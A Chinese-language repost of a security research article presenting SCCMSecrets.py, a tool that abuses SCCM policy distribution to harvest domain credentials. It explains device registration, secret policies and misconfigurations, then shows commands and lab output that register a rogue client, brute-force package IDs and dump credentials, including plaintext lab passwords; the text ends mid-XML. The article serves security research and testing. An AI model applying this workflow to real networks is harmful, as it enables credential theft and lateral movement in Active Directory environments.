长亭百川云 - 文章详情

SCCMSecrets.py:利用 SCCM 策略分布来获取凭证、进行初始访问和横向移动

Ots安全

31

2024-08-17


SCCM 策略是 Active Directory 环境中攻击者的主要目标,因为它们可能会有意或无意地泄露敏感的技术信息,例如帐户凭据。经过身份验证的攻击者可以冒充已注册的设备来检索上述凭据,或者在某些情况下,通过利用策略分发中的错误配置从未经身份验证的位置检索上述凭据。

SCCMSecrets.py是一个基于现有 SCCM 研究的 Python 实用程序。它超越了 NAA 凭据提取,旨在提供一种有关 SCCM 策略利用的全面方法。该工具可以从各种权限级别执行,并将尝试发现与策略分发相关的潜在错误配置。除了分发点上托管的包脚本外,它还将转储遇到的所有秘密策略的内容以及集合变量。最后,它可以在整个入侵过程中使用,通过将其配置为模拟合法的 SCCM 客户端,以便跨设备集合进行切换。


constitution


1. 简介

配置管理器,以前称为 SCCM(系统中心配置管理器),是 Microsoft 为基于 Windows 的计算机和设备开发的一款应用相当广泛的管理解决方案。尽管最近更名为 MECM,但 SCCM 这个名称在软件方面仍然是最为人熟知的,因此本文将使用这个缩写。

SCCM 提供用于部署操作系统、应用程序和软件更新以及管理和监控安全策略、硬件和软件清单的工具。它旨在与 Active Directory 本地集成以进行本地管理,这就是为什么它多年来一直是一种非常受欢迎的解决方案,尤其是在中型和大型网络中。

由于 SCCM 执行的管理任务范围广泛且敏感,其各个组件对于在内部网络中活动的攻击者而言都是战略目标。过去几年,已经发布了大量出色的研究成果,旨在揭示与 SCCM 安装相关的潜在攻击路径。

本文和相关工具SCCMSecrets.py是基于这项研究,尤其是SharpSCCM (@_Mayyhem) 和sccmwtf (@_xpn) 项目而建立的。然而,它专注于利用 SCCM 策略,而不仅限于检索臭名昭著的 NAA 凭据。它提供了一个具有已知和新功能的 Python 实现,即:

  • SCCM 秘密策略解析和转储(包括但不限于 NAA 策略)。

  • 集合变量检索。

  • 通过 HTTP 从分发点提取包脚本。

  • 匿名分发点访问错误配置——检测和利用。

  • 自动设备注册配置错误——检测和利用。

  • 受损的 SCCM 客户端模拟可跨设备集合进行转换。

除了介绍该工具并演示其用法之外,本文还旨在对 SCCM 策略、它们可能包含的秘密以及可能与之相关的错误配置提供较为全面的概述。这就是为什么第 2 部分将首先介绍基本概念。如果您只对工具介绍感兴趣,您可能希望直接跳到第 3 和第 4 部分。

进行大部分测试的环境的初始布局基于Game Of Active Directory的 SCCM 实验室- 感谢这个很酷的项目的贡献者。作为参考,实验室环境中使用了 SCCM 版本 2403 (5.2403.1171.1000)。在较旧的 SCCM 安装上执行了一些额外的测试,尽管覆盖范围较小。


2. SCCM 策略:概念、秘密和错误配置

a. SCCM 拓扑、策略和集合

如介绍中所述,SCCM 负责广泛的设备管理操作,从操作系统安装到软件更新和安全策略应用。为了履行这一职责,最小的 SCCM 基础设施可以分为 4 个组件:

  • 站点服务器: 在 SCCM 中,设备和资源与所谓的站点相关联。站点服务器是实现站点设备主要管理功能的角色。

  • 站点数据库: 顾名思义,站点数据库是一个 SQL Server 数据库,用于托管 SCCM 使用的各种数据。

  • 分发点: 分发点服务器角色允许服务器托管软件更新、应用程序和操作系统映像等内容,使其可供网络内的客户端设备部署。

  • 管理点: 管理点服务器角色允许服务器充当客户端设备和 SCCM 站点服务器之间的中介,为客户端提供策略信息、内容位置,并促进状态报告和数据收集的通信。

请注意,这些组件是服务器角色:它们不需要安装在不同的机器上,并且单个主机可以承担多个角色(例如,在本文使用的实验室环境中,单个服务器被配置为充当站点服务器、管理点和分发点)。

图 1:简化的 SCCM 拓扑。

上面呈现的拓扑结构是一个简化的视图,对于我们讨论 SCCM 策略的目的来说已经足够了。实际情况要稍微复杂一些,辅助站点服务器、边界组、被动站点服务器甚至中央管理站点通常会遇到更复杂的架构。有关 SCCM 拓扑结构的更多高级详细信息,您可以参考这篇文章。

考虑到上述 SCCM 基础架构,策略到底是什么?嗯,可以说是一切。“策略”是一个通用术语,指的是 SCCM 中定义的一组规则和配置,这些规则和配置应应用于托管设备。例如,定义客户端设备上软件更新的计划和安装的管理员创建了一个策略。同样,配置网络上新操作系统的部署构成一项策略,以及创建合规性设置要求等。

更具体地说,如图 1 所示,客户端设备将定期查询其管理点,以检索适用于它们的策略列表。为此,将向端点发送带有自定义动词的 HTTP 请求。请求的主体由 XML 格式的数据组成,包括指定各种信息(例如客户端名称)的标头,以及指示客户端希望检索策略列表的有效负载。请求主体是 zlib 压缩的,就像管理点响应包含如下所示的XML 文档一样。CCM_POST http:///ccm_system/request

1<ReplyAssignments SchemaVersion="1.00" ReplyType="Full">
2  <Identification>
3    <Machine>
4      <ClientID>GUID:663395D9-E4E5-4802-A30A-94CFA91F411A</ClientID>
5      <FQDN>test2.sccm.lab</FQDN>
6      <NetBIOSName>test2</NetBIOSName>
7      <SID/>
8    </Machine>
9    <User/>
10  </Identification>
11  <PolicySource>SMS:PRI</PolicySource>
12  <Resource ResourceType="Machine"/>
13  <ServerCookie>2024-08-05 21:39:57.870</ServerCookie>
14[...]
15  <Policy PolicyID="{f325b81e-a2c6-48a5-8a47-7372826cae53}" PolicyVersion="1.00" PolicyType="Machine" PolicyCategory="UpdateSource" PolicyFlags="16" PolicyPriority="25">
16<PolicyLocation PolicyHash="SHA256:[...]" PolicyHashEx="SHA1:[...]"><![CDATA[http://<mp>/SMS_MP/.sms_pol?{f325b81e-a2c6-48a5-8a47-7372826cae53}.1_00]]></PolicyLocation>
17  </Policy>
18  <Policy PolicyID="{af7a0291-5029-4e80-a610-0e0a5ae9a31c}" PolicyVersion="1.00" PolicyType="Machine" PolicyCategory="NetworkSettingsConfig" PolicyPriority="20">
19    <PolicyLocation PolicyHash="SHA256:[...]" PolicyHashEx="SHA1:[...]"><![CDATA[http://<mp>/SMS_MP/.sms_pol?{af7a0291-5029-4e80-a610-0e0a5ae9a31c}.1_00]]></PolicyLocation>
20  </Policy>
21[...]
22</ReplyAssignments>

如上文所述,管理点会以策略列表的形式做出响应,其中每个策略都有一个URL 形式的地址。然后,客户端设备将查询这些 URL 以检索策略本身,这些策略将再次以 XML 文档的形式返回,描述它们所代表的配置,其结构取决于策略的类型。

某些策略完全包含在返回的 XML 文档中。但是,其他策略将引用无法在 XML 响应中直接传输的外部资源 -例如MSI 安装文件、脚本、操作系统映像、驱动程序包等。分发点的作用是托管这些文件,客户端设备在应用引用它们的策略时将下载这些文件。有关此主题的更多信息,请参见下文。

管理员可以通过使用集合来定义哪些策略适用于哪些客户端设备。集合只不过是将客户端设备分组的逻辑容器。策略与集合相关联,并应用于集合中的所有设备。一个设备可以是多个集合的一部分。

在 SCCM 控制台中,可以通过“资产和合规性”>“设备集合”来管理集合。

图 2:SCCM 控制台 - 设备集合。

b. 管理点/分发点认证、设备注册和秘密策略

值得一提的是,尽管方式不同,但 SCCM 客户端和管理/分发点之间的交互都经过了验证。

首先关于分发点,下载策略相关资源通常需要身份验证,并通过域凭据(执行策略操作的用户的上下文凭据或机器帐户凭据)通过 Kerberos/NTLM 执行。默认情况下,任何经过身份验证的域用户都可以与分发点交互以下载资源。

关于与管理点的通信,客户端发送的请求使用与设备关联的证书的私钥进行签名,这将引出 SCCM 中的设备注册主题。

实际上,在 SCCM 中,客户端设备通过首先生成 RSA 私钥和一对自签名数字证书(包括相关公钥)来注册自己。这些证书各自提供特定的扩展密钥用法,1.3.6.1.4.1.311.101第一个证书为 SMS 签名证书(OID ) ,第二个证书为SMS 加密证书(OID 1.3.6.1.4.1.311.101.2)。客户端发出的后续请求将使用其私钥进行签名,因此 SCCM 可以从设备证书验证签名,从而确保请求来自合法的 SCCM 客户端。

然而,这样的注册工作流程引出了一个问题:既然为注册设备而生成的证书是自签名的,那么什么可以阻止潜在攻击者生成一对证书、使用它们注册设备,并作为 SCCM 设备自由地与管理点交互呢?好吧,从技术上讲没有什么可以阻止的——然而,这就是设备批准概念发挥作用的地方。

实际上,为了注册自身,客户端可以调用管理点上的以下端点,使用特定有效负载,包括各种信息,例如客户端名称以及包含其公钥的证书:http:///ccm_system/request。此请求可以在未经身份验证的情况下执行,具体来说,任何人都可以使用它来注册设备。但是,在默认的 SCCM 配置中,以这种方式注册的设备最终将处于未批准状态,直到管理员批准它们。

图 3:通过未经身份验证的注册端点注册的设备,导致未批准状态。

未经批准的设备与 SCCM 基础设施的交互非常有限 – 考虑到上面提到的安全原因。更具体地说,就当前主题而言,未经批准的设备无法从管理点 请求秘密策略。实际上,每个策略都有标志 (参见上面的XML 响应),指示当前策略是否容易包含敏感数据,因此被视为秘密。除了仅传递给批准的客户端之外,秘密策略在通过网络传输之前还会进行加密。解密密钥包含在 HTTP 响应中,并且本身使用设备公钥加密。传统上,加密是使用三重 DES 执行的;然而,在最近的 SCCM 实例中,它通过 AES CBC 执行。解密的秘密策略是包含各种数据块的 XML 文档,敏感数据被混淆了。

因此,攻击者默认不能使用未经身份验证的设备注册来转储秘密策略。

但是,在默认的 SCCM 配置中,可以注册一个设备,然后该设备将 自动获得已批准 状态。这可以通过调用以下端点并 使用域计算机帐户对其进行身份验证来实现 :http:///ccm_system_windowsauth/request。

因此,SCCM 环境中已知的攻击媒介是使用受损的机器帐户(或攻击者自己创建的帐户,滥用默认的 Active Directory 配置,允许任何经过身份验证的用户创建最多 10 个机器帐户)来注册批准的设备,并转储秘密策略。

但是,需要注意的是,虽然可以使用机器账户注册已批准的设备,但攻击者无法控制设备将放入的 集合 。因此,通过此攻击媒介检索的机密策略将仅限于应用于默认集合(包括新注册和批准的设备)的策略 - 例如,通用集合(如 所有系统或所有桌面和服务器客户端 )。但是,无法通过这种方式检索与其他更自定义或特定于设备的集合相关联的机密策略。因此,尝试模拟受感染的 SCCM 设备以获取与其他集合相关联的机密策略可能也是一个好主意 -有关这方面的更多信息,请参见第 4 部分。

c. 政策中的秘密:超越 NAA 资质

>网络访问帐户凭据

当谈到与 SCCM 策略相关的秘密时,人们对臭名昭著的NAA 策略 进行了大量研究,NAA 代表网络访问帐户。前面提到,SCCM 客户端和分发点之间的交互是使用域凭据进行身份验证的。但是,当注册的、批准的 SCCM 设备尚未加入 Active Directory 域时会发生什么?客户端将无法使用其机器帐户向分发点进行身份验证以获取任何类型的资源。但是,某些设备可能需要在加入 Active Directory 域之前应用策略(例如,安装操作系统映像,或运行旨在将设备加入域的任务序列)。

SCCM 为解决此问题提供的解决方案之一是配置网络访问帐户,这是一个域帐户,其凭据将通过名为NAAConfig的秘密策略传输到已注册的 SCCM 设备。因此,可以注册 SCCM 客户端、批准它,并使其应用引用外部资源的策略,使用 NAA 帐户向分发点进行身份验证。

可以通过导航至 “管理”>“概述”>“站点配置”>“站点” ,选择目标站点,选择 “配置站点组件” 菜单(在顶部功能区中或右键单击站点),然后选择 “软件分发” 选项,最后选择 “网络访问帐户” 选项卡,在 SCCM 控制台中配置 NAA 帐户。

图 4:从 SCCM 控制台配置网络访问帐户。

从攻击角度来看,NAA 帐户尤其有趣,因为它将作为秘密策略传输到所有设备,无论它们属于哪个集合。因此,对于能够注册已批准的 SCCM 设备的攻击者来说,这是一种检索域凭据的相当可靠的方法。此外,尽管建议为 NAA 帐户提供最低限度的权限,但管理员可能会经常为其提供过多的权限,从而导致攻击者出现权限提升的情况。

值得一提的是,微软现在建议使用一种替代的、可能比NAA 帐户更安全的解决方案,即增强型 HTTP。如文档中所述,使用增强型 HTTP,注册的客户端“可以安全地从分发点访问内容,而无需网络访问帐户。此行为包括从启动媒体、PXE 或软件中心运行任务序列的操作系统部署方案”。但是,增强型 HTTP 并不支持所有引用外部资源的策略,其中一些策略可能仍需要 NAA 帐户 - 请参阅文档。这就是 NAA 策略可能会保留一段时间的原因。

>任务序列

尽管 NAA 策略无疑是一个有趣的目标,但它远非唯一可能包含(潜在特权)域凭据的策略。更具体地说,任务序列可以定期暴露凭据。任务序列代表一个中心 SCCM 组件;它们是自动化的工作流程,可由管理员部署在客户端设备上并执行一系列步骤。如果这听起来很普通,那正是因为任务序列被设计为通用的。可以通过任务序列在客户端上执行各种任务,从运行任意命令/PowerShell 脚本到安装应用程序、连接到 SMB 共享、应用 Windows 设置、运行另一个任务序列等。

图 5:从 SCCM 控制台创建任务序列。

各种任务序列步骤需要或允许管理员提供域凭据才能执行它们。Christopher Panayi在 DEF CON 30 上发表了精彩演讲,并撰写了一篇详细的相关博客文章,其中提到了可能包含凭据的任务序列步骤。我们将仅在此处列出此类步骤,并参考 Christoper Panayi 的博客文章以获取有关每个步骤的更多信息。

  • 常规 > 加入域或工作组: 将计算机加入 Active Directory 的任务序列。包括域帐户的凭据。

  • 图像 > 捕获操作系统图像: 从参考计算机捕获操作系统图像的任务序列。可以包含用于访问目标共享以存储捕获的操作系统的域帐户的凭据。

  • 设置 > 应用 Windows 设置 – 设置本地管理员: 任务序列为计算机配置本地管理员密码。包括所述本地管理员密码。

  • 常规 > 运行命令行或常规 > 运行 Powershell 脚本 – 作为帐户运行: 任务序列用于指定应作为其执行命令或 PowerShell 脚本的帐户。包括模拟帐户的凭据。

  • 常规 > 连接到网络文件夹: 连接到远程 SMB 共享的任务序列。可以包含用于执行连接的域帐户的凭据。

  • 设置 > 应用网络设置: 任务序列用于配置目标计算机的网络配置信息。这可用于加入 Active Directory 环境,在这种情况下,此任务序列将包含域帐户的凭据。

由于可能包含敏感数据,所有任务序列都默认被视为 秘密策略

任务序列也与设备集合 相关联。但是,当尝试创建部署以将任务序列链接到集合时,可以观察到其中一些被视为高风险部署。高风险部署与安全无关,但它们引用的任务序列如果不仔细管理,可能会破坏多个设备的操作,并且由于它们实施的更改的性质而具有固有风险。

图 6:与特定任务序列相关的高风险部署。

因此,这些任务序列不能放在默认集合中。这与当前主题相关,因为在我们自己注册设备时不太可能检索这些任务序列,因为它们不会成为标准集合(例如所有系统或所有桌面和服务器客户端)的一部分。在上述敏感任务序列中,以下会导致高风险部署:

  • 常规 > 加入域或工作组

  • 图像 > 捕获操作系统图像

  • 设置>应用Windows设置–设置本地管理员

>集合变量

SCCM 中,可以将变量与特定的设备集合关联起来。这些变量可用于为集合中的所有成员自定义部署、脚本或配置。它们在任务序列中特别有用,可用于控制流程、将值传递给脚本或设置特定操作的条件。

可以从 SCCM 控制台配置集合变量,通过导航到集合列表 “资产和合规性”>“概述”>“设备集合” ,右键单击集合,选择“属性” ,然后选择“集合变量”选项卡。

图 7:从 SCCM 控制台定义收集变量。

收集变量可以是任何东西 - 因此可以包括敏感的技术数据,例如令牌或凭证。

收集变量以名为CollectionSettings的秘密策略传输到收集设备。在此秘密策略中,变量以 zlib 压缩格式传输,而不是直接作为带有混淆 blob 的 XML 文档传输。

>分发点资源

最后,前面提到,策略可能会引用分发点上托管的外部资源。这些资源可能是应用程序、操作系统映像,也可能是配置文件、PowerShell 脚本、证书或其他可能包含敏感技术信息的文件。因此,在 SCCM 中查找与机密策略相关的机密不仅限于策略本身的内容,还包括它们可能引用的外部资源。

此类外部资源可以组织在包中,包是将部署与一个(或多个)策略相关的配置所需的源文件和指令分组在一起的逻辑容器。它们可以从 SCCM 控制台的 软件库 > 应用程序管理 > 包中定义 。每个包都分配有一个唯一标识符,该标识符由站点代码和后跟递增的十六进制数字组成。

图 8:SCCM 控制台中的包。

分发点上托管的资源放置在C:\SCCMContentLib文件夹中,可以通过两种方式下载:

  • 中小企业

该C:\SCCMContentLib文件夹通过 SMB 作为 SMB 共享进行共享,可供域用户或域计算机SCCMContentLib$组的任何成员访问。该文件夹的文件结构C:\SCCMContentLib相当复杂,但可以通过 SMB 协议进行处理,最终检索其中托管的外部资源。

  • HTTP

分发点上托管的 IIS Web 服务器定义了一个虚拟目录,SMS_DP_SMSPKG$,它映射到C:\SCCMContentLib文件夹。Web服务器实际上将为我们执行所有文件结构处理,允许通过HTTP检索属于包的资源(默认情况下,这些资源使用 Kerberos/NTLM 进行域身份验证,因为所有交互都是从分发点获取外部资源)。

列出包中的子目录和文件的 URL 格式:http:///sms_dp_smspkg$//

检索包中的文件:http:///sms_dp_smspkg$//

d. 与策略分发相关的配置错误

在工具演示之前需要解决的最后一点涉及与策略分发相关的两个潜在的 SCCM 错误配置。

> 匿名分发点访问

可以配置一个或多个分发点以允许匿名访问其托管的资源。可以从 SCCM 控制台应用此配置,在管理 > 分发点中,右键单击目标项目,选择 属性 ,然后选择 通信 选项卡。

图 9:SCCM 分发点匿名访问。

顾名思义,此配置允许任何未经身份验证的用户获取策略引用的外部资源,而无需提供域凭据。请注意,此设置仅适用于HTTP协议,不影响 SMB 共享。

此类配置默认情况下不启用,但对于攻击者来说显然很有趣,因为攻击者只需通过网络访问关联的 Web 服务器就可以从分发点窃取策略资源。

>自动设备批准

上面提到,注册新的 SCCM 设备有两种方法:一种是未经身份验证的方法,但不会自动将生成的客户端置于已批准状态;另一种是经过身份验证的方法,会将生成的客户端置于已批准状态。实际上可以改变这种行为,更具体地说, 无论注册方法如何,都可以批准所有新设备。

这可以在 “管理”>“站点配置”>“站点” 中进行配置,选择目标站点,然后从顶部功能区进入“层次结构设置”菜单,并导航到“客户端批准和冲突记录”选项卡。

图 10:在站点上配置自动设备批准。

此配置默认不存在,也不建议使用。但是,如果存在,则该配置将允许攻击者使用未经身份验证的注册方法匿名注册将自动获得批准的新设备。然后就可以转储秘密的 SCCM 策略并检索域凭据(NAA 或其他),以获得对 Active Directory 环境的初始访问权限。

3. 使用SCCMSecrets.py进行策略利用

考虑到上面描述的各种上下文元素,本节将介绍SCCMSecrets.py执行的 SCCM 策略利用工作流程。简而言之,该工具旨在检索 SCCM 标记为机密的所有策略、收集变量以及分发点资源。如果相关,它将利用策略分发处理中可能发现的错误配置。

该工具的帮助介绍了各种支持的选项和标志。

1$ python3 SCCMSecrets.py --help
2
3
4 Usage: SCCMSecrets.py [OPTIONS]                                                                                                                                                                                   
5
6
7╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
8│ *  --distribution-point         TEXT     The target distribution point [default: None] [required]                                                                                                               │
9│    --client-name                TEXT     The name of the client that will be created in SCCM. An FQDN is expected (e.g. fake.corp.com) [default: None]                                                          │
10│    --management-point           TEXT     The client's management point. Only necessary for anonymous client connection exploitation, and only if the management point is not on the same machine as the         │
11│                                          distribution point.                                                                                                                                                    │
12│                                          [default: None]                                                                                                                                                        │
13│    --bruteforce-range           INTEGER  The number of package ID to bruteforce when performing anonymous policies scripts dump. Between 0 (00000) and 1048575 (FFFFF) [default: 4095]                          │
14│    --extensions                 TEXT     Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts [default: .ps1, .bat, .xml, .txt, .pfx]          │
15│    --username                   TEXT     The username for a domain account (can be a user account, or - preferably - a machine acount) [default: None]                                                          │
16│    --password                   TEXT     The password for a domain account (can be a user account, or - preferably - a machine account) [default: None]                                                         │
17│    --registration-sleep         INTEGER  The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that the new device can be added to device      │
18│                                          collections (3 minutes by default, may need to be increased)                                                                                                           │
19│                                          [default: 180]                                                                                                                                                         │
20│    --use-existing-device        TEXT     This option can be used to re-run SCCMSecrets.py using a previously registered device ; or to impersonate a legitimate SCCM client. In both cases, it expects the path │
21│                                          of a folder containing a guid.txt file (the SCCM device GUID) and the key.pem file (the client's private key).                                                         │
22│                                          [default: None]                                                                                                                                                        │
23│    --verbose                             Enable verbose output                                                                                                                                                  │
24│    --help                                Show this message and exit.                                                                                                                                            │
25╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

执行的攻击操作以及检索到的数据将取决于用户提供的凭据/选项以及发现的 SCCM(错误)配置。总而言之,可能会遇到 4 种情况。

a. 方案 1:未经身份验证 – 匿名分发点访问已禁用

在第一种情况下,用户在运行该工具时未提供任何凭据。此外,SCCMSecrets.py检测到目标分发点不易受到匿名访问。

在这些情况下,唯一可以执行的操作是尝试利用自动设备批准来检索机密策略,而无需使用机器帐户。为此,SCCMSecrets.py只需尝试使用未经身份验证的注册端点注册设备,并列出策略以检索机密策略。

如果成功,并且在秘密策略中发现了 NAA 帐户的凭据,则这些凭据将用于向分发点进行身份验证,并从提供的文件扩展名白名单中获取外部资源进行检索。

关于最后一点,为了枚举分发点上托管的可用资源,需要SCCMSecrets.py通过 HTTP 协议进行操作。选择此方法而不是 SMB 有几个原因:

  • 已经存在一些通过 SMB 获取分发点资源的优秀工具(即CMLoot,也可用于Python)1。

  • 客户端 SCCM 设备仅需通过 HTTP 与分发点进行通信,具有适当网络过滤的强化环境可能会阻止访问分发点的端口 445。

  • 如上所述,匿名访问错误配置只能通过 HTTP 进行利用。

为了使用 HTTP 从分发点提取数据,首先需要枚举可用的文件。为此,它SCCMSecrets.py以两种方式运行。首先,它会尝试提取先前检索到的机密策略所引用的包(如果有的话)。其次,它会执行一些轻量级(可配置)暴力破解,以通过 HTTP 枚举包 ID。事实上,如上所述,包 ID 实际上只是由站点代码和增量十六进制数字组成,这很容易被暴力破解。

以下是在不提供任何凭据、未在分发点上启用匿名访问的情况下运行的示例SCCMSecrets.py,但成功利用了自动设备批准并在机密策略中发现了 NAA 凭据。结果,成功检索了机密策略以及分发点包,而无需提供任何类型的凭据。

1$ python3 SCCMSecrets.py --distribution-point 'mecm.sccm.lab/' --client-name test7.sccm.lab
2
3
4 _____ _____  _____ ___  ___ _____                    _       
5/  ___/  __ \/  __ \|  \/  |/  ___|                  | |      
6\ `--.| /  \/| /  \/| .  . |\ `--.  ___  ___ _ __ ___| |_ ___ 
7 `--. \ |    | |    | |\/| | `--. \/ _ \/ __| '__/ _ \ __/ __|
8/\__/ / \__/\| \__/\| |  | |/\__/ /  __/ (__| | |  __/ |_\__ \
9\____/ \____/ \____/\_|  |_/\____/ \___|\___|_|  \___|\__|___/
10 -------------------------------------------------------------
11
12
13[*] Querying MPKEYINFORMATION to extract site code from management point
14[+] Retrieved site code P01
15
16
17##### Context information #####
18
19
20- Anonymous Distribution Point access : [NOT VULNERABLE] (distribution point does not allow anonymous access)
21- Credentials provided                : [NONE] (no credentials provided)
22- Distribution point                  : http://mecm.sccm.lab
23- Management point                    : http://mecm.sccm.lab
24- Site code                           : P01
25- File extensions to retrieve         : ['.ps1', '.bat', '.xml', '.txt', '.pfx']
26- Package ID bruteforce range         : 4095
27- Output directory                    : ./loot/2024-08-11_22-47-07
28
29
30###############################
31
32
33
34
35No credentials were provided, and target distribution point does not accept anonymous access. In these conditions, we can:
36> Try to register an SCCM client in order to exploit automatic device approval if it is configured on the SCCM site (this misconfiguration is not present by default). If successful, secret policies will be retrieved. If said policies contain NAA credentials, these will be used to download package files.
37
38
39Do you want to attempt registering a client (OPSec consideration: we will not be able to remove the client afterwards) ? [y/N]: y
40
41
42[*] Registering SCCM client with FQDN test7.sccm.lab
43[+] Client registration complete - GUID: 2EA426AE-F65E-4204-8B0D-B27FD22F381A.
44[*] Sleeping for 180 seconds ...
45
46
47[*] Requesting device policies test7.sccm.lab
48[+] Policies list retrieved (52 total policies ; 8 secret policies)
49[+] We retrieved some secret policies, which indicates that the target site is vulnerable to automatic device approval.
50[INFO] Dumping secret policy {3daadbd3-99d0-4223-ac34-13caad9c245e}
51[*] Found 2 obfuscated blob(s) in secret policy.
52[+] Secret policy {3daadbd3-99d0-4223-ac34-13caad9c245e} processed.
53[+] Retrieved NAA account credentials: 'sccm.lab\sccm-naa:123456789'
54[*] We will try to use these credentials to dump package scripts from distribution point ...
55[INFO] Dumping secret policy P0120002-P0100009-6F6BCC28
56[*] Found 1 obfuscated blob(s) in secret policy.
57[*] Found 1 embedded powershell scripts in blob.
58[+] Secret policy P0120002-P0100009-6F6BCC28 processed.
59[INFO] Dumping secret policy P0120003-P010000A-6F6BCC28
60[*] Found 1 obfuscated blob(s) in secret policy.
61[INFO] Found a package ID in secret policy: P010000C
62[+] Secret policy P0120003-P010000A-6F6BCC28 processed.
63[INFO] Dumping secret policy P012000A-P0100012-6F6BCC28
64[*] Found 1 obfuscated blob(s) in secret policy.
65[+] Secret policy P012000A-P0100012-6F6BCC28 processed.
66[INFO] Dumping secret policy P012000B-P0100013-6F6BCC28
67[*] Found 1 obfuscated blob(s) in secret policy.
68[+] Secret policy P012000B-P0100013-6F6BCC28 processed.
69[INFO] Dumping secret policy P012000C-P0100014-6F6BCC28
70[*] Found 1 obfuscated blob(s) in secret policy.
71[+] Secret policy P012000C-P0100014-6F6BCC28 processed.
72[INFO] Dumping secret policy P012000D-P0100015-6F6BCC28
73[*] Found 1 obfuscated blob(s) in secret policy.
74[+] Secret policy P012000D-P0100015-6F6BCC28 processed.
75[INFO] Dumping secret policy {P0100014}
76[INFO] Processing a CollectionSettings policy to extract collection variables
77[*] Found 2 obfuscated blob(s) in secret policy.
78[+] Secret policy {P0100014} processed.
79
80
81[*] Starting package ID bruteforce (site code P01, range 4095).
82[*] Found package P0100001
83[*] Found package P0100002
84[*] Found package P0100003
85[*] Found package P0100004
86[*] Found package P0100005
87[*] Found package P0100006
88[*] Found package P0100007
89[*] Found package P010000C
90
91
92[*] Starting file download with target extensions ['.ps1', '.bat', '.xml', '.txt', '.pfx']
93[INFO] Package P0100001 - downloaded file Config_AppsOnly.xml
94[INFO] Package P0100001 - downloaded file Config_AppsAndSettings.xml
95[INFO] Package P0100001 - downloaded file MigDocs.xml
96[INFO] Package P0100001 - downloaded file Config_SettingsOnly.xml
97[INFO] Package P0100001 - downloaded file MigUser.xml
98[...]
99[INFO] Package P0100005 - downloaded file ep_defaultpolicy.xml
100[INFO] Package P010000C - downloaded file MyScript.ps1
101[*] All done. Bye !

工具执行完成后,所有枚举数据将放置在文件夹中,位于当前日期指定的子文件夹下。以下是此输出目录的结构。loot

1$ tree ./loot/2024-08-11_22-47-07
2./loot/2024-08-11_22-47-07
3├── device
4│   ├── cert.pem
5│   ├── guid.txt
6│   └── key.pem
7├── packages
8│   ├── index.json
9│   ├── index.txt
10│   ├── P0100001
11│   │   ├── Config_AppsAndSettings.xml
12│   │   ├── Config_AppsOnly.xml
13│   │   ├── Config_SettingsOnly.xml
14│   │   ├── MigApp.xml
15│   │   ├── MigDocs.xml
16│   │   └── MigUser.xml
17│   ├── P0100005
18│   │   └── ep_defaultpolicy.xml
19│   └── P010000C
20│       └── MyScript.ps1
21└── policies
22    ├── {3daadbd3-99d0-4223-ac34-13caad9c245e}
23    │   ├── policy.txt
24    │   ├── secretBlob_1-NetworkAccessUsername.txt
25    │   └── secretBlob_2-NetworkAccessPassword.txt
26    ├── {P0100014}
27    │   ├── policy.txt
28    │   ├── secretBlob_1-CollectionEnvPassword.txt
29    │   └── secretBlob_2-CollectionEnvUsername.txt
30    ├── P0120002-P0100009-6F6BCC28
31    │   ├── policy.txt
32    │   ├── secretBlob_1-TS_Sequence_embeddedScript_1.txt
33    │   └── secretBlob_1-TS_Sequence.txt
34    ├── P0120003-P010000A-6F6BCC28
35    │   ├── policy.txt
36    │   └── secretBlob_1-TS_Sequence.txt
37    ├── P012000A-P0100012-6F6BCC28
38    │   ├── policy.txt
39    │   └── secretBlob_1-TS_Sequence.txt
40    ├── P012000B-P0100013-6F6BCC28
41    │   ├── policy.txt
42    │   └── secretBlob_1-TS_Sequence.txt
43    ├── P012000C-P0100014-6F6BCC28
44    │   ├── policy.txt
45    │   └── secretBlob_1-TS_Sequence.txt
46    ├── P012000D-P0100015-6F6BCC28
47    │   ├── policy.txt
48    │   └── secretBlob_1-TS_Sequence.txt
49    ├── policies.json
50    └── policies.raw
51
52
5315 directories, 34 files
  • 如果确实注册了设备,则该device/文件夹包含有关已注册设备的信息。这包括生成的证书、其关联的私钥以及 SCCM 分配给客户端的设备 GUID。可以--use-existing-device在后续SCCMSecrets.py执行中将此文件夹提供给选项,以避免注册另一个设备。

  • 该policies/文件夹包含枚举的秘密策略的输出。

  • 该policies.raw文件包含 SCCM 传达的策略的原始列表。

  • 是policies.json一个代表这些策略的 JSON 对象,它被解析SCCMSecrets.py– 特别是为了解释策略标志和枚举秘密标志。

  • 每个机密策略都会创建一个子文件夹,其名称为策略 ID。在每个文件夹中,解密的策略都会写入文件policy.txt。

  • 如上所述,解密策略包含包含敏感信息的模糊化 blob。对于每个模糊化 blob,都会创建一个包含未模糊化数据的文件 (secretBlob_[BlobIndex]-[BlobName].txt)。

  • 此外,一些未混淆的 blob 可能包含 Base64 编码的 PowerShell 脚本。这些脚本将被解码并打印在另一个文件 ( secretBlob_[BlobIndex]-[BlobName]embeddedScript[ScriptIndex].txt) 中。

  • 该packages/文件夹包含从分发点获取的外部策略资源的输出。

  • 该index.json文件包含一个 JSON 对象,代表在分发点上发现的各种文件。

  • 该index.txt 文件包含相同数据的更人性化版本,模仿 Unix tree命令。这有助于快速识别所有发现的文件,并确定是否有一些有趣的文件不属于提供的扩展白名单。如果是这种情况,则可以SCCMSecrets.py通过该标志重新运行这些附加扩展,而无需注册新设备-use-existing-device

  • 对于每个发现的包,都会创建一个子文件夹,其中包含为该包下载的文件。

您现在可以浏览您的文件来寻找秘密。

1$ cd ./loot/2024-08-11_22-47-07
2
3
4$ cat policies/P0120002-P0100009-6F6BCC28/secretBlob_1-TS_Sequence_embeddedScript_1.txt 
5$filePath = "C:\out.txt"
6$content = "testsccm"
7Set-Content -Path $filePath -Value $content
8Invoke-Command -ComputerName Client -ScriptBlock { Get-Service } -Credential (New-Object System.Management.Automation.PSCredential ("SCCM.LAB\jimmy", (ConvertTo-SecureString "dnn!mM8-)hn" -AsPlainText -Force)))
9
10
11$ cat policies/P012000A-P0100012-6F6BCC28/secretBlob_1-TS_Sequence.txt
12Secret property name: TS_Sequence
13
14
15<?xml version="1.0"?>
16<sequence version="3.10">
17  <step type="SMS_TaskSequence_CaptureSystemImageAction" name="Capture Operating System Image" description="" runIn="WinPE" successCodeList="0" retryCount="0" runFromNet="false">
